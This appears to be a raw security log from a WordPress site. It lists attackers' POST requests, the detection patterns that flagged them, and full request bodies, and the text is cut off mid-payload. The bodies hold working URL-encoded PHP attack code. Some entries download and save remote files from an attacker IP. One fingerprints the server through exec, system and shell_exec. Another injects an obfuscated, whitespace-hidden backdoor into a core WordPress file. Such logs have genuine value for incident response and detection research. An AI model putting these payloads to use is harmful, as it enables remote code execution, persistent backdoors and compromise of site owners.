3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvH1DvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nST=%3C%3Fphp%20%20file_put_contents%28%27newStudForum.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/ogniqODbKI%27%29%29%3B"]
["2026-05-12 15:05:55","38.99.81.38","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20file_put_contents%28%27pmd_help.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/GjuKNMSYkZ%27%29%29%3B\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-site:none\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\ncontent-length:194\nsec-ch-ua-mobile:?1\nsec-fetch-mode:navigate\nsec-ch-ua-platform:\"Android\"\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\n\nIMAhJp=eval(rawurldecode(\"%20file_put_contents%28%27pmd_help.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/GjuKNMSYkZ%27%29%29%3B\"));"]
["2026-05-12 15:26:46","213.209.159.254","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ku:%3C%3Fphp%20%20%20%24hostname%20%3D%20run%28%22hostname%22%29%3B%20%24uname%20%3D%20run%28%22uname%20-a%22%29%3B%20%24uname%20%3D%20str_replace%28array%28%22%5Cn%22%2C%20%22%5Cr%22%29%2C%20%27%7C%27%2C%20%24uname%29%3B%20%24uname%20%3D%20str_replace%28%22%5Ct%22%2C%20%27%20%27%2C%20%24uname%29%3B%20%24lsb%20%3D%20run%28%22lsb_release%20-a%22%29%3B%20%24lsb%20%3D%20str_replace%28array%28%22%5Cn%22%2C%20%22%5Cr%22%29%2C%20%27%7C%27%2C%20%24lsb%29%3B%20%24lsb%20%3D%20str_replace%28%22%5Ct%22%2C%20%27%20%27%2C%20%24lsb%29%3B%20%24path%20%3D%20%24_SERVER%5B%27SCRIPT_FILENAME%27%5D%3B%20%24root%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24root%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24root%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%24content%20%3D%20%22%3Cfs%3E%22.filesize%28%24path%29.%22%3C\/fs%3E%3Cr%3E%7B%24root%7D%3C\/r%3E%3Cp%3E%7B%24path%7D%3C\/p%3E%22.%22%3Cid%3E%22.php_uname%28%29.%22%7C%22.phpversion%28%29.%22%7C%7B%24_SERVER%5B%27SERVER_SOFTWARE%27%5D%7D%7C%22.disk_total_space%28%27\/%27%29.%22%3C\/id%3E%5Cn%22%3B%20if%20%28strlen%28%24uname%29%20%3E%200%29%20%7B%20%20%20%20%20%24content%20.%3D%20%22%3Cu%3E%22.base64_encode%28%24uname%29.%22%3C\/u%3E%5Cn%22%3B%20%7D%20if%20%28strlen%28%24lsb%29%20%3E%200%29%20%7B%20%20%20%20%20%24content%20.%3D%20%22%3Cl%3E%22.base64_encode%28%24lsb%29.%22%3C\/l%3E%5Cn%22%3B%20%7D%20%24os%20%3D%20strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%20%3F%20%27win%27%20%3A%20%27linux%27%3B%20%24php%20%3D%20phpversion%28%29%3B%20%20%24content%20.%3D%20%22%3Cos%3E%24os%3C\/os%3E%3Cphp%3E%24php%3C\/php%3E%5Cn%22%3B%20%20print%20%24content%3B%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvF3HvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupzkyK3Ein2IhplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-mode:navigate\ncontent-length:4569\n\nKu=%3C%3Fphp%20%20%20%24hostname%20%3D%20run%28%22hostname%22%29%3B%20%24uname%20%3D%20run%28%22uname%20-a%22%29%3B%20%24uname%20%3D%20str_replace%28array%28%22%5Cn%22%2C%20%22%5Cr%22%29%2C%20%27%7C%27%2C%20%24uname%29%3B%20%24uname%20%3D%20str_replace%28%22%5Ct%22%2C%20%27%20%27%2C%20%24uname%29%3B%20%24lsb%20%3D%20run%28%22lsb_release%20-a%22%29%3B%20%24lsb%20%3D%20str_replace%28array%28%22%5Cn%22%2C%20%22%5Cr%22%29%2C%20%27%7C%27%2C%20%24lsb%29%3B%20%24lsb%20%3D%20str_replace%28%22%5Ct%22%2C%20%27%20%27%2C%20%24lsb%29%3B%20%24path%20%3D%20%24_SERVER%5B%27SCRIPT_FILENAME%27%5D%3B%20%24root%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24root%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24root%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%24content%20%3D%20%22%3Cfs%3E%22.filesize%28%24path%29.%22%3C\/fs%3E%3Cr%3E%7B%24root%7D%3C\/r%3E%3Cp%3E%7B%24path%7D%3C\/p%3E%22.%22%3Cid%3E%22.php_uname%28%29.%22%7C%22.phpversion%28%29.%22%7C%7B%24_SERVER%5B%27SERVER_SOFTWARE%27%5D%7D%7C%22.disk_total_space%28%27\/%27%29.%22%3C\/id%3E%5Cn%22%3B%20if%20%28strlen%28%24uname%29%20%3E%200%29%20%7B%20%20%20%20%20%24content%20.%3D%20%22%3Cu%3E%22.base64_encode%28%24uname%29.%22%3C\/u%3E%5Cn%22%3B%20%7D%20if%20%28strlen%28%24lsb%29%20%3E%200%29%20%7B%20%20%20%20%20%24content%20.%3D%20%22%3Cl%3E%22.base64_encode%28%24lsb%29.%22%3C\/l%3E%5Cn%22%3B%20%7D%20%24os%20%3D%20strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%20%3F%20%27win%27%20%3A%20%27linux%27%3B%20%24php%20%3D%20phpversion%28%29%3B%20%20%24content%20.%3D%20%22%3Cos%3E%24os%3C\/os%3E%3Cphp%3E%24php%3C\/php%3E%5Cn%22%3B%20%20print%20%24content%3B%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 15:34:17","213.209.159.254","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> pM:%3C%3Fphp%20%20%20%24path%20%3D%20%24_SERVER%5B%27SCRIPT_FILENAME%27%5D%3B%20%24root%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24root%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24root%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%24content%20%3D%20%22%3Cfs%3E%22.filesize%28%24path%29.%22%3C\/fs%3E%3Cr%3E%7B%24root%7D%3C\/r%3E%3Cp%3E%7B%24path%7D%3C\/p%3E%22.%22%3Cid%3E%22.php_uname%28%29.%22%7C%22.phpversion%28%29.%22%7C%7B%24_SERVER%5B%27SERVER_SOFTWARE%27%5D%7D%7C%22.disk_total_space%28%27\/%27%29.%22%3C\/id%3E%5Cn%22%3B%20%24os%20%3D%20strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%20%3F%20%27win%27%20%3A%20%27linux%27%3B%20%24php%20%3D%20phpversion%28%29%3B%20%20%24content%20.%3D%20%22%3Cos%3E%24os%3C\/os%3E%3Cphp%3E%24php%3C\/php%3E%5Cn%22%3B%20%20print%20%24content%3B%20die%28%27%21ended%21%27%29%3B","POST \/ HTTP\/1.1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\naccept:*\/*\nsec-fetch-dest:document\nupgrade-insecure-requests:1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpR0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2fvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"macOS\"\ncontent-length:1395\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\nsec-fetch-mode:navigate\nhost:dewenlabels.com\n\npM=%3C%3Fphp%20%20%20%24path%20%3D%20%24_SERVER%5B%27SCRIPT_FILENAME%27%5D%3B%20%24root%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24root%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24root%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%24content%20%3D%20%22%3Cfs%3E%22.filesize%28%24path%29.%22%3C\/fs%3E%3Cr%3E%7B%24root%7D%3C\/r%3E%3Cp%3E%7B%24path%7D%3C\/p%3E%22.%22%3Cid%3E%22.php_uname%28%29.%22%7C%22.phpversion%28%29.%22%7C%7B%24_SERVER%5B%27SERVER_SOFTWARE%27%5D%7D%7C%22.disk_total_space%28%27\/%27%29.%22%3C\/id%3E%5Cn%22%3B%20%24os%20%3D%20strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%20%3F%20%27win%27%20%3A%20%27linux%27%3B%20%24php%20%3D%20phpversion%28%29%3B%20%20%24content%20.%3D%20%22%3Cos%3E%24os%3C\/os%3E%3Cphp%3E%24php%3C\/php%3E%5Cn%22%3B%20%20print%20%24content%3B%20die%28%27%21ended%21%27%29%3B"]
["2026-05-12 15:38:31","213.209.159.254","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> uw:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/bookmark.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522c%255Cx6F%255Cx6Dp%255Cx6F%255Cx6Eent%2522%252C%2520array_keys%2528%2524_REQUEST%2529%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524data%2520%253D%2520%2524_REQUEST%255B%2522c%255Cx6F%255Cx6Dp%255Cx6F%255Cx6Eent%2522%255D%253B%2520%2524data%2520%253D%2520explode%2520%2528%2520%2527.%2527%2520%252C%2520%2524data%2520%2529%2520%253B%2520%2524pset%2520%253D%2520%2527%2527%253B%2520%2524salt2%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt2%2520%2529%253B%2520foreach%2528%2524data%2520as%2520%2524j%2520%253D%253E%2524v4%2529%2520%257B%2520%2524chS%2520%253D%2520ord%2528%2524salt2%255B%2524j%2520%2525%2520%2524sLen%255D%2520%2529%253B%2520%2524dec%2520%253D%2528%2528int%2529%2524v4%2520-%2520%2524chS%2520-%2528%2524j%2520%2525%252010%2529%2529%2520%255E%25202%253B%2520%2524pset%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%257D%2520foreach%2520%2528%2524pgrp%2520as%2520%2524holder%2529%253A%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524holder%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2522%2524holder\/.binding%2522%253B%2520if%2520%2528file_put_contents%2528%2524ent%252C%2520%2524pset%2529%2529%2520%257B%2520include%2520%2524ent%253B%2520%2540unlink%2528%2524ent%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqKpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupzkyK3Ein2IhplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua-platform:\"macOS\"\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:4346\naccept:*\/*\n\nuw=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/bookmark.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522c%255Cx6F%255Cx6Dp%255Cx6F%255Cx6Eent%2522%252C%2520array_keys%2528%2524_REQUEST%2529%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524data%2520%253D%2520%2524_REQUEST%255B%2522c%255Cx6F%255Cx6Dp%255Cx6F%255Cx6Eent%2522%255D%253B%2520%2524data%2520%253D%2520explode%2520%2528%2520%2527.%2527%2520%252C%2520%2524data%2520%2529%2520%253B%2520%2524pset%2520%253D%2520%2527%2527%253B%2520%2524salt2%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt2%2520%2529%253B%2520foreach%2528%2524data%2520as%2520%2524j%2520%253D%253E%2524v4%2529%2520%257B%2520%2524chS%2520%253D%2520ord%2528%2524salt2%255B%2524j%2520%2525%2520%2524sLen%255D%2520%2529%253B%2520%2524dec%2520%253D%2528%2528int%2529%2524v4%2520-%2520%2524chS%2520-%2528%2524j%2520%2525%252010%2529%2529%2520%255E%25202%253B%2520%2524pset%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%257D%2520foreach%2520%2528%2524pgrp%2520as%2520%2524holder%2529%253A%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524holder%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2522%2524holder\/.binding%2522%253B%2520if%2520%2528file_put_contents%2528%2524ent%252C%2520%2524pset%2529%2529%2520%257B%2520include%2520%2524ent%253B%2520%2540unlink%2528%2524ent%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 15:38:32","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> nH:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/bookmark.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522c%255Cx6F%255Cx6Dp%255Cx6F%255Cx6Eent%2522%252C%2520array_keys%2528%2524_REQUEST%2529%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524data%2520%253D%2520%2524_REQUEST%255B%2522c%255Cx6F%255Cx6Dp%255Cx6F%255Cx6Eent%2522%255D%253B%2520%2524data%2520%253D%2520explode%2520%2528%2520%2527.%2527%2520%252C%2520%2524data%2520%2529%2520%253B%2520%2524pset%2520%253D%2520%2527%2527%253B%2520%2524salt2%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt2%2520%2529%253B%2520foreach%2528%2524data%2520as%2520%2524j%2520%253D%253E%2524v4%2529%2520%257B%2520%2524chS%2520%253D%2520ord%2528%2524salt2%255B%2524j%2520%2525%2520%2524sLen%255D%2520%2529%253B%2520%2524dec%2520%253D%2528%2528int%2529%2524v4%2520-%2520%2524chS%2520-%2528%2524j%2520%2525%252010%2529%2529%2520%255E%25202%253B%2520%2524pset%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%257D%2520foreach%2520%2528%2524pgrp%2520as%2520%2524holder%2529%253A%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%